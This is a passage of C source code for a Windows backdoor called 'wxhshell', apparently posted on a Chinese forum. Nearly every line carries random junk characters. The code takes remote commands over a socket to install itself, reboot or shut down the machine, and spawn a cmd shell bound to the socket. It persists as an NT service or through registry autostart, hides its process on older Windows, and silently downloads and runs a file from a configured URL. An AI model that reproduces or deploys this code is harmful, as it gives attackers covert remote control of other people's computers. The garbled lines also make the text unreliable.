      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F@ZG| &  
    break; 69cOdIt^D  
  } t}cj8DC!  
  // 安装 BC(f1  
  case 'i': { ]gI XG`  
    if(Install()) , ZD!Qb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YM 7P!8Gc  
    else U @|{RP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8hQ"rrj+  
    break; #Q^mdv?  
    } Cs^o- g!L  
  // 卸载 HNY{%D  
  case 'r': { r;y&Wa  
    if(Uninstall()) jS5e"LMIq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KofjveOiC  
    else KFA B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9=rYzA?)+  
    break; %p/Qz|W  
    } Kw(/#C:$  
  // 显示 wxhshell 所在路径 E-*udQ  
  case 'p': { ?b#/*T}ac  
    char svExeFile[MAX_PATH]; _L_SNjA_  
    strcpy(svExeFile,"\n\r"); oMLpl3pl  
      strcat(svExeFile,ExeFile); 01H3@0Q6  
        send(wsh,svExeFile,strlen(svExeFile),0); >/6v` 8F  
    break; 7vNS@[8  
    } S^I38gJd  
  // 重启 O~">-'f  
  case 'b': { j+_g37$:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %T}{rU~X  
    if(Boot(REBOOT)) d;D^<-[i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #@2`^1  
    else { q<oA%yR  
    closesocket(wsh); ++R-_oQ  
    ExitThread(0); +ywWQ|V  
    } ;f?OT7>kN  
    break; S]<G|mn,  
    } L nw+o}  
  // 关机 m1\>v?=K  
  case 'd': { -<ZzYQk^h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8uyVx9C0  
    if(Boot(SHUTDOWN)) Gg5vf]VFo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dMRwQejY{7  
    else { YyK9UZjI  
    closesocket(wsh); YX^{lD1Jj  
    ExitThread(0); 5kC#uk  
    } _32ltnBX  
    break; @m6pAo4P  
    } eC[g"Ef  
  // 获取shell p7.@ez ;  
  case 's': { ;1(OC-2>d  
    CmdShell(wsh); G|3OB:  
    closesocket(wsh); "q#(}1Zd  
    ExitThread(0); ,LcMNPr  
    break; YH<@->Ip  
  } ~\ie/}zYj  
  // 退出 dr'6N1B@  
  case 'x': { <6v7_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B-@f.NO/s  
    CloseIt(wsh); <@JU0Z"a=  
    break; #GWQ]r?  
    } [POy" O  
  // 离开 KxJJ?WyM  
  case 'q': { `kekc.*-[@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sn0?_vH4  
    closesocket(wsh); p,kJ#I  
    WSACleanup(); b#82G`6r  
    exit(1); Aqp3amW!  
    break; zYls>fbp,  
        } <U1uuOt  
  } _r^&.'q  
  } SG43}  
)>TA|W]@  
  // 提示信息 !u7WCw.Dm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _`D760q}  
} 8d Ftp3(  
  } 2{U4wTu  
N3x}YHFF  
  return; W_iP/xL  
} rWbL_1Eq  
?I7H ):  
// shell模块句柄 d%]7:  
int CmdShell(SOCKET sock) h[XGFz  
{ 9^c_^-8n<}  
STARTUPINFO si; [FC%_R&&  
ZeroMemory(&si,sizeof(si)); QFX|ZsmK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x;b'y4kH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gi{1u}-0  
PROCESS_INFORMATION ProcessInfo; 9oGsrC lH  
char cmdline[]="cmd"; 8Oc*<^{#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }cS3mJ  
  return 0; }bB_[+YV`{  
} 9k$uo_i'  
ja 9y  
// 自身启动模式 Ge97e/ CY  
int StartFromService(void) xX|-5cM;  
{ y<;#*wB  
typedef struct ?cpID8Z  
{ ;dPLi4=o  
  DWORD ExitStatus; PDGh\Y[AK,  
  DWORD PebBaseAddress; =(hEr=f>7  
  DWORD AffinityMask; aEL6-['(  
  DWORD BasePriority; +VU,U`W  
  ULONG UniqueProcessId; $(_i>&d<  
  ULONG InheritedFromUniqueProcessId; /8GVu7  
}   PROCESS_BASIC_INFORMATION; uvm=i .  
,:;_j<g`e  
PROCNTQSIP NtQueryInformationProcess; szKs9er&  
t`Hwq   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _{ ?1+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KH[%HN5v  
.c BJA&/  
  HANDLE             hProcess; dc:|)bK M  
  PROCESS_BASIC_INFORMATION pbi; ?(R6}ab>K7  
`Th!bk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 98V9AOgk  
  if(NULL == hInst ) return 0; ~rKo5#D  
|yqx ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Os[^ch  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;=_KLG <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); * SC~_  
N4$0ptz#}G  
  if (!NtQueryInformationProcess) return 0; Z!hDTT  
;AHa|35\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H!s &]b  
  if(!hProcess) return 0; 1Z*-@%RX  
OcIJT1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B:SzCC.B  
r5rK>  
  CloseHandle(hProcess); }_Jai4O  
{)-%u8J\`N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q6DE|qnV  
if(hProcess==NULL) return 0; LM<OYRB(  
 LqU]&AAh  
HMODULE hMod; +F`! Jt  
char procName[255]; Z*kg= hs^  
unsigned long cbNeeded; w3B*%x)  
,V |>nkQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  \ 1|T  
*6=[Hmygi  
  CloseHandle(hProcess); )5e}Id  
yyBfLPXZ  
if(strstr(procName,"services")) return 1; // 以服务启动 x{IOn;>R  
oIf -s[uH  
  return 0; // 注册表启动 <5q:mG88  
} X $cW!a  
U3p=H^MB.  
// 主模块 "iOT14J!7  
int StartWxhshell(LPSTR lpCmdLine) DJ=miJI'  
{ 9 ?h)U|J?G  
  SOCKET wsl; =Y /  
BOOL val=TRUE; 3hb1^HNT  
  int port=0; k>2 xm  
  struct sockaddr_in door; Mi:$<fEX  
jh}[7M  
  if(wscfg.ws_autoins) Install(); \@tt$ m%  
6%O"   
port=atoi(lpCmdLine); hPhN7E03  
+D$\^ <#  
if(port<=0) port=wscfg.ws_port; |'1[\<MM3  
1<ZvHv  
  WSADATA data; a o\+%s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !^B`7  
&!m;s_gi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /__we[$E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;^t<LhN:  
  door.sin_family = AF_INET; /GfC/)1_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @[.%A;E4  
  door.sin_port = htons(port); Z2hRTJJ[A  
Mg-Kh}U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w^z}!/"]u  
closesocket(wsl); "-(yZigQ  
return 1; %w_h8  
} UiF?Nx~  
uppA`>  
  if(listen(wsl,2) == INVALID_SOCKET) { u;;]S!:M  
closesocket(wsl); #![b9~%WTh  
return 1; 0|P RCq  
} |cUlXg=  
  Wxhshell(wsl); MQw{^6Z>1  
  WSACleanup(); !x|OgvJ  
!,INrl[  
return 0; p\1[cz)B  
M|6 W<y  
} jK3% \`o  
 2o?!m2W  
// 以NT服务方式启动 cYmMO[4YG'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |oC&;A  
{ bgL`FW i3  
DWORD   status = 0; ~z%K9YcyU  
  DWORD   specificError = 0xfffffff; *A;~~ SQ  
\oLRNr[F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oq(um:m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M[@).4h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ko $bCG%  
  serviceStatus.dwWin32ExitCode     = 0; c_ vj't  
  serviceStatus.dwServiceSpecificExitCode = 0; ?4(uwX p  
  serviceStatus.dwCheckPoint       = 0; _ B",? }  
  serviceStatus.dwWaitHint       = 0; Tg)Fr)  
2< w/GX.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <s)+V6 \E  
  if (hServiceStatusHandle==0) return; U}_l]gNn  
l7 j3;Ly  
status = GetLastError(); KYu3dC'/,&  
  if (status!=NO_ERROR) _<=U.T`  
{ "!9~77  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bJmVq%>;  
    serviceStatus.dwCheckPoint       = 0; 7Ha +@  
    serviceStatus.dwWaitHint       = 0; (zCas}YAKI  
    serviceStatus.dwWin32ExitCode     = status; .~4%TsBaY  
    serviceStatus.dwServiceSpecificExitCode = specificError; U[ u9RB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n*{e0,gp`  
    return; CJ%bBL'.  
  } J`Q#p%W  
JyvXNV,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l;b5v]~  
  serviceStatus.dwCheckPoint       = 0; ,3!l'|0jJ  
  serviceStatus.dwWaitHint       = 0; #]q<fhJhr$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^mm:u<Yt  
} %j^[%&pT  
@G~T&6E!  
// 处理NT服务事件,比如:启动、停止 My&h{Qk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d_-{-@  
{ .^X IZ  
switch(fdwControl) {UT^p IP\  
{ :%{MMhb x  
case SERVICE_CONTROL_STOP: O\q|b#q}/  
  serviceStatus.dwWin32ExitCode = 0; p>96>7w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TGY^,H>J  
  serviceStatus.dwCheckPoint   = 0; ]Z&2  
  serviceStatus.dwWaitHint     = 0; TWK(vEDM  
  { XuVbi=pN.2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L*6Tz'Qp  
  } W+Z] Y  
  return; Z6 E-FuO  
case SERVICE_CONTROL_PAUSE: dUk^DI,:l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % TyR8 %  
  break; X25cU{  
case SERVICE_CONTROL_CONTINUE: S6*3."Sk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W1w)SS  
  break; 24}r;=U  
case SERVICE_CONTROL_INTERROGATE: gxycw4kz  
  break; Sx5r u?$.  
}; wv # 1s3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]/XNfb  
} ^ D/:[  
MW &iNioX  
// 标准应用程序主函数 Q4JwX=ZVj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5#p [Q _  
{ .36z  
rg]eSP3 W  
// 获取操作系统版本 r77?s?  
OsIsNt=GetOsVer(); qh Rs5QXL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (x2I*<7P  
l 'fUa  
  // 从命令行安装 S^]i  
  if(strpbrk(lpCmdLine,"iI")) Install(); H5j~<@STC  
\SkCsE#H  
  // 下载执行文件 6=3}gd5  
if(wscfg.ws_downexe) { osB[KRT>("  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qY]IX9'kV  
  WinExec(wscfg.ws_filenam,SW_HIDE); cxFfAk\,en  
} {a-p/\U  
S^HuQe!#  
if(!OsIsNt) { I $!Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 4E}]>  
HideProc(); w^sM,c5d  
StartWxhshell(lpCmdLine); @@9#od O  
}  )f>s\T  
else zjs@7LN  
  if(StartFromService()) Ev|2bk \  
  // 以服务方式启动 mWZoo/xtT  
  StartServiceCtrlDispatcher(DispatchTable); Fyrr,#  
else 8QV+DDZx  
  // 普通方式启动 -8X* (7  
  StartWxhshell(lpCmdLine); \/*r45!  
q %i2' yE  
return 0; `PnB<rf:*1  
}
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只看该作者 1 发表于: 2006-10-10
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